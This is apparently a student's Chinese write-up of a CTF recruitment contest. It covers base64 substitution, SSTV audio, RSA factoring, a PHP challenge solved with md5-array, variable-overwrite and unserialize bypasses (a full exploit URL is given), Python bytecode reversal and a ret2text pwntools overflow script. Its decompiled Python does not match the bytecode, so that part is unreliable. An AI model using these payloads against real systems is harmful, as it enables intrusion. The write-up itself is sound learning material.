CTF战队招新赛

CTF战队招新赛

Misc

Signin

base64?

题目

我的密文: ox6qJI1Q7kJY1OvuR/1CBs1yRVvuEIfeR/lCUMAGrV8LwEL=

泄露的明文: jRQfVJMwco53YF33SYjeif4oi0mGscBFhRH70i17E8IgGAVXtZGDhSK9vPkH5MhI

泄露的密文: N+d9r+rjVElQoG1krPlQ1+MG8LvXNV1p658u6L+d1L5aVsFKrEA+NEUhB/dYRTfIr/r+rxAx7suMTE+xJPrvVErqoG6r9QRGB5+0rP+s6XSWRX5/JI6m9spTTxJYNVnk9VpdrLlA1+pLPMlnNv6zbErUNLF5VPpd
你现在知道我的明文了吗?

题解

  1. 将泄露的明文用base64加密
alJRZlZKTXdjbzV3ZWdjVlkzY0FGaTVhN1Y5N0lJV01nTmgvZXBlaXQ4UHJwMSt2ZHZlZDBDem5kSXlDcWZFTXZobzNZRjMzU1lqZWlmNG9pMG1Hc2NCRmhSSDcwaTE3RThJZ0dBVlh0WkdEaFNLOXZQa0g1TWhJ
  1. 发现泄露的密文与加密后的密文的字符有对应关系 (代码不小心删了,就是找到目前能对应的字符并且把我的密文尽量转换,并且输出目前还没有对应的字符)

p1

  1. 将得到的不完整的明文每四个字符进行base64解密,得到flag的大部分。根据推理和几次尝试就得到完整的flag(

Robot36

题目

给了一个png文件和一个flac文件

题解

  1. 用winhex打开cover.png,最下面有提示

p2

  1. 用winhex打开flac文件找到wav的文件头并删除之前的内容,并转换为wav文件

p3

  1. 用安卓手机下载Robot36,用另一个设备播放即可得到慢扫描图像

p4

Crypto

factor

题目

from Crypto.Util.number import *

flag = b'*****'
p = getPrime(512)
q = getPrime(512)

n = p*q
e = 0x10001
m = bytes_to_long(flag)
c = pow(m,e,n)

# print(p)
# print(q)
print(n)
print(c)

#n = 155973472877500551696404049342507495077134952416313340244284845928778400385389548636037403472336378336490931666382159990607516752340206514340009510417187026921007116552045963973163720919596636575029141772459275706505175142195195686881713118383919643653234410908740422880120161538592336383479253864155940629093
#c = 32349988441710439726991823014652327949110727303493414402820119679942533399117470462729126720315109509283386087378965374529410971247867614623318967344071216979994926505735379297102144644819487720051553195643392945426400493308569024431403247836671630208580022421678378308476007451938426212992790979191141986943

题解

这是已知n、c的rsa加密题

RSA加密算法用到六个数字,p,q,n,φ(n),e,d,主要过程如下:

随意选择两个大的质数p和q,p不等于q,计算n=pq。
根据欧拉函数,不大于N且与N互质的整数個数為φ(n)=(p-1)(q-1)。
选择一个整数e与φ(n)互质,并且e小于φ(n)。
用以下这个公式计算d:d×e ≡ 1 (mod φ(n))。
将p和q的记录销毁。

p5

具体过程:

  1. 在RSATool中把n填入对应位置点Factor N,将n分解为两个素数,即p,q。
  2. 再点Calc.D得到d,此时可以点Test,输入一个数字,先加密再解密,若数字不变则测试成功,把密文c输入并解密即可得到flag
  3. 以上所有操作都可以在python中解决,且题型可以是知道6个数字中的其他一些数字,根据情况处理即可。

Web

phpplayer

题目

<?php
highlight_file(__FILE__);
$flag=file_get_contents("/flag");
$fake_flag="flag{xxxxxxxxxxxxxxxxx}";
if(!isset($_GET['a'])){
    die("error1");
}
$num = $_GET['a'];
if(preg_match("/[0-9]/", $num)){
    die("error1");
}
if(!intval($num)){
    die("error1");
}
if(!isset($_GET['b'])){
    die("error2");
}
if(!isset($_GET['c'])){
    die("error2");
}
if ($_GET['b'] == $_GET['c']){
    die("error2");
}
if (md5($_GET['b']) !== md5($_GET['c'])){
    die("error2");
}
if(!isset($_GET['d_1.01'])){
    die("error3");
}
if(!isset($_GET['flag'])){
    die("error4");
}
if(!isset($_POST['flag'])){
    die("error4");
}
foreach($_GET as $key => $value){
    $$key = $$value;
}
class test{
    public $a='123';
    public function __wakeup(){
        $this->a='123';
    }
    public function  __destruct(){
        if($this->a !== 'abc'){
            die("error5");
        }
        echo $GLOBALS['fake_flag'];
    }
}
if(!isset($_GET['obj'])){
    die("error4");
}
unserialize($_GET['obj']); 

题解

一句话总结:利用各类“绕过”

p6

  1. preg_match("/[0-9]/", $num),当num是数组时会返回false,也可以直接不传入a的值
  2. md5()数组绕过,返回值都是null
  3. 在firefox中用hackbar,可以方便地写post等的数据
  4. d_1.01的“.”是非法字符,但是把“_”换成“[” ,可以绕过,原理是第一个非法字符被变成了“_”,其余的非法字符得以保留
  5. foreach()语句中的操作被称为“变量覆盖”,可以利用它把fake_flag中的值覆盖为真flag的值,因为代码最终只输出了fake_flag

综上,可以写成如下形式:

http://webt4.chall.ctf.l3hsec.com/?a&b[]&c[]=1&d[1.01&fake_flag=flag&obj=O:4:"test":2:{s:1:"a";s:3:"abc"}&flag&$_post['flag']

Reverse

pyencode

题目

encode

 9           0 BUILD_LIST               0
              2 STORE_FAST               1 (ret)

 10           4 LOAD_GLOBAL              0 (list)
              6 LOAD_FAST                0 (s)
              8 CALL_FUNCTION            1
             10 STORE_FAST               2 (ls)

 11          12 LOAD_GLOBAL              1 (range)
             14 LOAD_CONST               1 (0)
             16 LOAD_GLOBAL              2 (len)
             18 LOAD_FAST                2 (ls)
             20 CALL_FUNCTION            1
             22 LOAD_CONST               2 (2)
             24 CALL_FUNCTION            3
             26 GET_ITER
        >>   28 FOR_ITER                90 (to 120)
             30 STORE_FAST               3 (i)

 12          32 LOAD_GLOBAL              3 (ord)
             34 LOAD_FAST                2 (ls)
             36 LOAD_FAST                3 (i)
             38 BINARY_SUBSCR
             40 CALL_FUNCTION            1
             42 STORE_FAST               4 (num1)

 13          44 LOAD_GLOBAL              3 (ord)
             46 LOAD_FAST                2 (ls)
             48 LOAD_FAST                3 (i)
             50 LOAD_CONST               3 (1)
             52 BINARY_ADD
             54 BINARY_SUBSCR
             56 CALL_FUNCTION            1
             58 STORE_FAST               5 (num2)

 14          60 LOAD_FAST                4 (num1)
             62 LOAD_CONST               4 (248)
             64 BINARY_AND
             66 LOAD_CONST               5 (3)
             68 BINARY_RSHIFT
             70 STORE_FAST               6 (numa)

 15          72 LOAD_FAST                4 (num1)
             74 LOAD_CONST               6 (7)
             76 BINARY_AND
             78 LOAD_CONST               5 (3)
             80 BINARY_LSHIFT
             82 LOAD_FAST                5 (num2)
             84 LOAD_CONST               7 (240)
             86 BINARY_AND
             88 LOAD_CONST               8 (4)
             90 BINARY_RSHIFT
             92 BINARY_OR
             94 STORE_FAST               7 (numb)

 16          96 LOAD_FAST                5 (num2)
             98 LOAD_CONST               9 (15)
            100 BINARY_AND
            102 STORE_FAST               8 (numc)

 17         104 LOAD_FAST                1 (ret)
            106 LOAD_FAST                6 (numa)
            108 LOAD_FAST                7 (numb)
            110 LOAD_FAST                8 (numc)
            112 BUILD_LIST               3
            114 BINARY_ADD
            116 STORE_FAST               1 (ret)
            118 JUMP_ABSOLUTE           28

 18     >>  120 LOAD_FAST                1 (ret)
            122 RETURN_VALUE
None

output

[13, 35, 3, 13, 7, 3, 12, 46, 3, 15, 30, 1, 6, 19, 9, 6, 62, 6, 7, 3, 6, 12, 34, 13, 12, 51, 1, 12, 11, 6, 5, 43, 4, 12, 11, 3, 6, 50, 13, 7, 14, 6, 6, 6, 6, 5, 43, 3, 6, 43, 8, 6, 59, 3, 12, 35, 3, 12, 11, 1, 6, 46, 6, 6, 15, 13]

题解

encode是python字节码,用 python -m dis xxx.py 可以查看字节码 经过分析,对应的代码如下:

ret = []
ls = list(s)
for i in range(0, len(s), 2):
    num1 = ord(ls[i])
    num2 = ord(ls[i + 1])
    numa = (num1 & 248) >> 3
    numb = ((num1 & 7) >> 3) | ((num2 & 240) >> 4)
    numc = num2 + 15
    ret = ret + [numa, numb, numc]

p7

注意:

  1. 字节码中and和add不要看错(大哭)
  2. 因为有很多按位与的操作,所以很难反推出flag,只能正向尝试。
  3. 这段代码相当于是把两个数字经过某个函数变成了三个数字,也就是说串s可以每两个分为一组,组间互不干扰,所以正向遍历所有情况计算量也很小

得到flag的代码如下图:

p8

一些未完待续

Pwn-ret2text

查资料得“ret2text”是栈溢出实例。

  1. 在kali中安装pwndbg,pwntools等
  2. 直接在文件所在的位置处打开终端 file ret2text查看基本信息 使用checksec工具查看它开了什么保护措施,网上很多命令为: checksec ret2text,我的会报错Error: No option selected. Please select an option.后来查到可能是版本问题,最后写成checksec --file=ret2text

p9

  1. 用IDA打开文件,按f5反汇编,得到如下信息:

    1. mian函数

    p10

    1. 看到提示:positive sp value has been detected, the output may be wrong!

    p11

    1. 找到与flag有关的函数

    p12

    1. read_flag函数从00000000004007D8开始

    p13

  2. gdb调试

    1. gdb ret2text打开调试
    2. b main在main函数设置断点
    3. r运行,一开始显示错误,经过搜索是因为对文件的权限不够,用chmod u+x ret2text提升权限
    4. 在main函数输入v4的时候输入一个字符串
    5. 关注0x7fffffffde40和0x7fffffffdef8两行,相减得148

    p14

5.写代码如下:

from pwn import *
from wstube import websocket
p = websocket('ws://ret2sc.websocket.chall.ctf.l3hsec.com')
payload = b'a' * 184 +p64(0x4007d8)
p.sendline(payload)
p.interactive()

出现Got EOF while reading in interactive 没有成功,目前还不知道原因。

p15

写在最后

在查资料的过程中看到很多相关知识,比如常用的文件头有哪些、绕过MD5的多种方式,rsa的其他题型、misc用到了哪些工具、有哪些好用的在线网站等等。已经保存了可是太凌乱了。。。最近忙到起飞呜呜呜,有时间再分专题整理

Licensed under CC BY-NC-SA 4.0